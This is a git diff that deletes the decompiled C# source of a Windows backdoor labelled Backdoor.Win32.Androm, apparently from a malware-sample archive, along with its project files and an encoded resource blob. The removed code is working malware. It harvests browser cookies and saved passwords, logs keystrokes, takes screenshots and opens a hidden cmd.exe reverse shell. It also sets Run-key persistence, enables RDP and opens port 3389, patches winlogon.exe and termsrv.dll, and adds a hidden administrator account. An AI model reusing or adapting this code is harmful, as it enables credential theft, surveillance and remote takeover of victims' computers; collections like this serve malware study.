- new Thread[1]
- {
- new Thread((ThreadStart) (() => Program.proces("svhost")))
- }[0].Start();
- new Thread((ThreadStart) (() => Program.RDP_M())).Start();
- }
- }
- catch
- {
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true).SetValue("C:\\Dokumente und Einstellungen\\sys\\Desktop\\GeneratorTroj\\1.exe", (object) Application.ExecutablePath);
- new Thread((ThreadStart) (() =>
- {
- Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "Troi");
- Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "Troi");
- Program.SearchAll("C:\\", "wand.dat", "False", "True", "Troi");
- Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "Troi");
- Program.CreatFileIEforXP("False", "True", "Troi");
- Program.CreatFileIEforVista("False", "True", "Troi");
- Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "Troi");
- Program.SearchAll("C:\\", "*.bip", "False", "True", "Troi");
- Program.SearchAll("C:\\", "*.qip", "False", "True", "Troi");
- })).Start();
- Program.SearchAll("C:\\", "uin.txt", "False", "True", "Troi");
- Program.SearchAll("D:\\", "uin.txt", "False", "True", "Troi");
- Program.SearchAll("C:\\", "Данные.txt", "False", "True", "Troi");
- new Thread(new ThreadStart(Program.key)).Start();
- new Thread(new ThreadStart(Program.Screnn)).Start();
- new Thread[1]
- {
- new Thread((ThreadStart) (() => Program.proces("svhost")))
- }[0].Start();
- new Thread((ThreadStart) (() => Program.RDP_M())).Start();
- }
- }
-
- public static void Backdoor()
- {
- try
- {
- Thread tsend = new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.processCmd = new Process();
- Program.processCmd.StartInfo.FileName = "cmd.exe";
- Program.processCmd.StartInfo.CreateNoWindow = true;
- Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- Program.processCmd.StartInfo.UseShellExecute = false;
- Program.processCmd.StartInfo.RedirectStandardOutput = true;
- Program.processCmd.StartInfo.RedirectStandardInput = true;
- Program.processCmd.StartInfo.RedirectStandardError = true;
- Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
- Program.processCmd.Start();
- Program.processCmd.BeginOutputReadLine();
- Program.strInput = new StringBuilder();
- try
- {
- while (true)
- {
- Program.strInput.Append(Program.streamReader.ReadLine());
- Program.strInput.Append("\n");
- Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
- Program.processCmd.StandardInput.Flush();
- Program.strInput.Remove(0, Program.strInput.Length);
- }
- }
- catch (Exception ex)
- {
- }
- }
- catch
- {
- }
- }));
- new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.socketForServer = new TcpClient("0", 0);
- Program.networkStream = Program.socketForServer.GetStream();
- Program.streamReader = new StreamReader((Stream) Program.networkStream);
- Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
- tsend.Start();
- }
- catch
- {
- }
- })).Start();
- }
- catch
- {
- }
- }
-
- private static void proc(object sender, DataReceivedEventArgs e)
- {
- StringBuilder stringBuilder = new StringBuilder();
- if (string.IsNullOrEmpty(e.Data))
- return;
- try
- {
- stringBuilder.Append(e.Data);
- Program.streamWriter.WriteLine((object) stringBuilder);
- Program.streamWriter.Flush();
- }
- catch
- {
- }
- }
-
- public static void FileP()
- {
- try
- {
- if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache"))
- {
- int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length;
- for (int index = 0; index < length; ++index)
- {
- try
- {
- System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]);
- }
- catch
- {
- }
- }
- }
- if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot"))
- return;
- for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1)
- {
- for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2)
- {
- FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]);
- try
- {
- Console.WriteLine(fileInfo.Name);
- fileInfo.Delete();
- --index2;
- }
- catch
- {
- }
- }
- }
- }
- catch
- {
- }
- }
-
- public static void RegConfig()
- {
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
- registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
- registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
- registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
- registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String);
- RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true);
- registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
- registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
- registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
- registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
- registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
- registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
- registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
- registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
- registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- }
-
- public static void RDP_M()
- {
- }
-
- public static void WinLogon()
- {
- try
- {
- if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
- return;
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp");
- FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open);
- byte[] buffer = new byte[fileStream.Length];
- fileStream.Read(buffer, 0, (int) fileStream.Length);
- buffer[94] = (byte) 110;
- buffer[173347] = (byte) 85;
- buffer[173348] = (byte) 139;
- buffer[173349] = (byte) 236;
- buffer[173437] = (byte) 139;
- buffer[173438] = byte.MaxValue;
- buffer[173439] = (byte) 85;
- BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
- binaryWriter.Write(buffer);
- binaryWriter.Close();
- fileStream.Close();
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- }
- else
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- }
- catch
- {
- }
- }
-
- public static void TermSrv()
- {
- string str = Program.TimeNow();
- try
- {
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- }
- else
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
- System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
-
- public static void CreateUser(string UserName, string Password)
- {
- try
- {
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
- DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
- directoryEntry2.Invoke("SetPassword", (object) Password);
- directoryEntry2.CommitChanges();
- try
- {
- directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- try
- {
- directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- }
- }
- DirectoryEntry directoryEntry3;
- try
- {
- directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- directoryEntry3.Close();
- directoryEntry1.Close();
- directoryEntry2.Close();
- }
- catch
- {
- }
- }
-
- private static void proces(string proc)
- {
- bool flag = true;
- try
- {
- while (flag)
- {
- Application.DoEvents();
- Process[] processArray = (Process[]) null;
- for (int index = 0; index < processArray.Length; ++index)
- {
- processArray = Process.GetProcesses();
- Thread.Sleep(20);
- if (processArray[index].ProcessName == proc)
- {
- processArray[index].Kill();
- flag = false;
- }
- }
- }
- }
- catch
- {
- }
- }
-
- private static void key()
- {
- try
- {
- Thread.Sleep(100);
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Program._hookID = Program.SetHook(Program._proc);
- Application.Run();
- Program.UnhookWindowsHookEx(Program._hookID);
- }
- catch
- {
- }
- }
-
- private static void Screnn()
- {
- Thread[] threadArray = new Thread[31];
- for (int index = 1; index <= 3; ++index)
- {
- Thread.Sleep(TimeSpan.FromSeconds(10.0));
- string time = Program.TimeNow();
- new Program.ScreenShotDll().CaptureScreen("dd" + time + ".Jpeg", ImageFormat.Jpeg);
- try
- {
- threadArray[index] = new Thread((ThreadStart) (() =>
- {
- if (!Program.CherezShto("dd" + time + ".Jpeg", "False", "True", "Troi"))
- ;
- }));
- threadArray[index].Start();
- }
- catch
- {
- }
- }
- }
-
- private static bool buffDlin()
- {
- int length = "null".Length;
- return true;
- }
-
- private static bool buffZ()
- {
- Program.buflyb = (string) null;
- int length = "null".Length;
- return true;
- }
-
- private static bool buffCritery() => Program.buffZ();
-
- private static void strBuffer()
- {
- bool flag = true;
- while (true)
- {
- do
- {
- IDataObject dataObject;
- do
- {
- do
- {
- Application.DoEvents();
- Thread.Sleep(100);
- }
- while (!flag);
- dataObject = Clipboard.GetDataObject();
- }
- while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
- Program.strbug = (string) dataObject.GetData(DataFormats.Text);
- }
- while (!flag || !Program.buffCritery());
- Clipboard.SetDataObject((object) "null");
- }
- }
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-
- public class ScreenShotDll
- {
- public void CaptureScreen(string fileName, ImageFormat imageFormat)
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- this.SaveImageAs(compatibleBitmap, fileName, imageFormat);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- }
-
- public Bitmap CaptureScreen()
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- Bitmap image = this.GetImage(compatibleBitmap);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- return image;
- }
-
- private void Cleanup(int hBitmap, int hdcSrc, int hdcDest)
- {
- Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc);
- Program.GDI32.DeleteDC(hdcDest);
- Program.GDI32.DeleteObject(hBitmap);
- }
-
- private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat);
-
- private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height);
- }
-
- private class User32
- {
- [DllImport("User32.dll")]
- public static extern int GetDesktopWindow();
-
- [DllImport("User32.dll")]
- public static extern int GetWindowDC(int hWnd);
-
- [DllImport("User32.dll")]
- public static extern int ReleaseDC(int hWnd, int hDC);
- }
-
- private class GDI32
- {
- [DllImport("GDI32.dll")]
- public static extern bool BitBlt(
- int hdcDest,
- int nXDest,
- int nYDest,
- int nWidth,
- int nHeight,
- int hdcSrc,
- int nXSrc,
- int nYSrc,
- int dwRop);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteObject(int hObject);
-
- [DllImport("GDI32.dll")]
- public static extern int GetDeviceCaps(int hdc, int nIndex);
-
- [DllImport("GDI32.dll")]
- public static extern int SelectObject(int hdc, int hgdiobj);
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/AssemblyInfo.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/AssemblyInfo.cs
deleted file mode 100644
index 3882f10e..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/AssemblyInfo.cs
+++ /dev/null
@@ -1,12 +0,0 @@
-using System.Reflection;
-using System.Runtime.CompilerServices;
-
-[assembly: AssemblyCopyright("ORJ")]
-[assembly: AssemblyDescription("OTE")]
-[assembly: AssemblyCompany("wEi")]
-[assembly: AssemblyFileVersion("4.2.5.7")]
-[assembly: AssemblyProduct("JuL")]
-[assembly: AssemblyTrademark("hLp")]
-[assembly: SuppressIldasm]
-[assembly: AssemblyTitle("UPP")]
-[assembly: AssemblyVersion("5.4.2.6")]
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.csproj b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.csproj
deleted file mode 100644
index 310aac27..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.csproj
+++ /dev/null
@@ -1,52 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}
- WinExe
- mlw
- 5.4.2.6
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.sln b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.sln
deleted file mode 100644
index 39d61fcd..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "mlw", "Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.csproj", "{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Wjtc.resx b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Wjtc.resx
deleted file mode 100644
index 60d17a37..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Wjtc.resx
+++ /dev/null
@@ -1,123 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- 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